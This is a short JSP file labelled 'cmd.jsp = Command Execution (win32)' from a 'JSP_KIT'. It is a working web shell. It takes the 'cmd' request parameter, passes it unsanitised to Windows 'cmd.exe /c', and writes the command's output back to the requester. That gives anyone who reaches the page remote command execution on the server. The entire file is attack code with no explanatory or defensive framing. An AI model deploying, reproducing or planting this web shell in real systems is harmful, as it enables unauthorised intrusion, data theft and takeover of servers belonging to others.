<%@ page import="java.util.*,java.io.*,java.net.*"%> <% // // JSP_KIT // // cmd.jsp = Command Execution (win32) // // by: Unknown // modified: 27/06/2003 // %>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "\n
"); Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>